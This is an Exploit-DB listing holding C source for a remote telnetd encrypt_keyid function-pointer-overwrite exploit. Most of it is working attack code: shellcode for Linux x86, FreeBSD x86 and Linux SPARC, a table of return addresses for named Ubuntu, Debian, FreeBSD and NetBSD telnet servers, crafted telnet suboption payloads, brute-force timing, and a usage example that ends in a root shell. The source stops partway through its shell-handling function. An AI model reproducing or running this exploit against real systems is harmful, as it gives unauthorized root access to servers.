Exploit-DB #18280
Description: TelnetD encrypt_keyid - Function Pointer Overwrite
Type: remote
Platform: linux
Date: 2011-12-26
Author: NighterMan & BatchDrake

Exploit:
/***************************************************************************
 *            telnetd-encrypt_keyid.c
 *
 *  Mon Dec 26 20:37:05 CET 2011
 * 
 *  Copyright  2011  Jaime Penalba Estebanez (NighterMan)
 *  Copyright  2011  Gonzalo J. Carracedo (BatchDrake)
 * 
 *  nighterman@painsec.com - jpenalbae@gmail.com
 *  BatchDrake@painsec.com - BatchDrake@gmail.com
 *
 *            ______      __      ________
 *          /  __  /     /_/     /  _____/
 *         /  /_/ /______________\  \_____________
 *        /  ___ / __  / / __  /  \  \/ _ \/  __/
 *       /  /   / /_/ / / / / /___/  /  __/  /__
 *  ____/__/____\__,_/_/_/ /_/______/\___/\____/____
 *
 *
 ****************************************************************************/

/*
 * 
 * Usage:
 * 
 * $ gcc exploit.c -o exploit
 * 
 * $ ./exploit 127.0.0.1 23 1
 * [<] Succes reading intial server request 3 bytes
 * [>] Telnet initial encryption mode and IV sent
 * [<] Server response: 8 bytes read
 * [>] First payload to overwrite function pointer sent
 * [<] Server response: 6 bytes read
 * [>] Second payload to triger the function pointer
 * [*] got shell?
 * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
 * 
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>


/*
 * Most of the inetd impletantions have a connection limit per second
 * so you must chage this if you start getting errors reading responses
 *  - for 60 conex per min  900000
 *  - for 40 conex per min 1500000
 *  - for no limit 300000 should work
 */
#define BRUTE_TOUT 300000



#define MAXKEYLEN 64-1

struct key_info
{
  unsigned char keyid[MAXKEYLEN];
  unsigned char keylen[4];
  unsigned char dir[4];
  unsigned char modep[4];
  unsigned char getcrypt[4];
};

struct target_profile
{
  uint32_t      skip;
  const char    *address;
  const char    *desc;
  const char    *shellcode;
  
};


/* Shellcode FreeBSD x86 */
const char s_bsd32[] =
   "\x31\xc0"                      // xor          %eax,%eax
   "\x50"                          // push         %eax
   "\xb0\x17"                      // mov          $0x17,%al
   "\x50"                          // push         %eax
   "\xcd\x80"                      // int          $0x80
   "\x50"                          // push         %eax
   "\x68\x6e\x2f\x73\x68"          // push         $0x68732f6e
   "\x68\x2f\x2f\x62\x69"          // push         $0x69622f2f
   "\x89\xe3"                      // mov          %esp,%ebx
   "\x50"                          // push         %eax
   "\x54"                          // push         %esp
   "\x53"                          // push         %ebx
   "\x50"                          // push         %eax
   "\xb0\x3b"                      // mov          $0x3b,%al
   "\xcd\x80";                     // int          $0x80

/* Shellcode Linux x86 */
const char s_linux32[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";


/* Shellcode Linux sparc */
const char s_linuxsparc[] = "\x2d\x0b\xd8\x9a"  /* sethi %hi(0x2f626800), %l6 */
                            "\xac\x15\xa1\x6e"  /* or %l6, 0x16e, %l6         */
                            "\x2f\x0b\xdc\xda"  /* sethi %hi(0x2f736800), %l7 */
                            "\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0          */
                            "\x92\x03\xa0\x08"  /* add %sp, 0x08, %o1         */
                            "\x94\x22\x80\x0a"  /* sub %o2, %o2, %o2          */
                            "\x9c\x03\xa0\x10"  /* add %sp, 0x10, %sp         */
                            "\xec\x3b\xbf\xf0"  /* std %l6, [ %sp + - 16 ]    */
                            "\xd0\x23\xbf\xf8"  /* st %o0, [ %sp + - 8 ]      */
                            "\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ]           */
                            "\x82\x10\x20\x3b"  /* mov 0x3b, %g1              */
                            "\x91\xd0\x20\x10"; /* ta 0x10                    */



/* Valid targets list */
struct target_profile targets[] =
{
  {20, "\x00\x80\x05\x08", "Generic Linux i386 bruteforce", s_linux32},
  {20, "\x00\x80\x05\x08", "Generic BSD i386 bruteforce", s_bsd32},  
  {20, "\x23\xcc\x05\x08", "Ubuntu GNU/Linux 10.04, Inetutils Server (i386)", s_linux32},
  {20, "\x12\xc9\x05\x08", "Ubuntu GNU/Linux 10.04, Heimdal Server (i386)", s_linux32},
  {20, "\xef\x56\x06\x08", "Debian GNU/Linux stable 6.0.3, Inetutils Server (i386)", s_linux32},
  {20, "\x56\x9a\x05\x08", "Debian GNU/Linux stable 6.0.3, Heimdal Server (i386)", s_linux32},
  {1,  "\x00\x03\xe7\x94", "Debian GNU/Linux stable 6.0.3 Inetutils (SPARC)", s_linuxsparc},
  {3,  "\x00\x03\x2e\x0c", "Debian GNU/Linux stable 6.0.3 Heimdal Server (SPARC)", s_linuxsparc},
  {20, "\xa6\xee\x05\x08", "FreeBSD 8.0 (i386)", s_bsd32},
  {20, "\xa6\xee\x05\x08", "FreeBSD 8.1 (i386)", s_bsd32},
  {20, "\xed\xee\x05\x08", "FreeBSD 8.2 (i386)", s_bsd32},
  {20, "\x02\xac\x05\x08", "NetBSD 5.1 (i386)", s_bsd32},
  
  {0, NULL, NULL, NULL}
};



/* Telnet commands */
static unsigned char tnet_init_enc[] = 
        "\xff\xfa\x26\x00\x01\x01\x12\x13"
        "\x14\x15\x16\x17\x18\x19\xff\xf0";

static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";

static unsigned char tnet_end_suboption[] = "\xff\xf0";


/* Check if the shellcode worked, slightly simpler than shell (int) */
static int
checkmagic (int fd)
{
  char got[32];
  
  if (write (fd, "echo pikachu\n", 13) < 0)
    return -1;
    
  if (read (fd, got, 32) <= 0)
    return -1;

  return -!strstr (got, "pikachu");
}


/*
 * shell(): semi-interactive shell hack
 */
static void shell(int fd)
{
    fd_set  fds;
    char    tmp[128];
    int n;
    
    /* check uid */
    write(fd, "id\n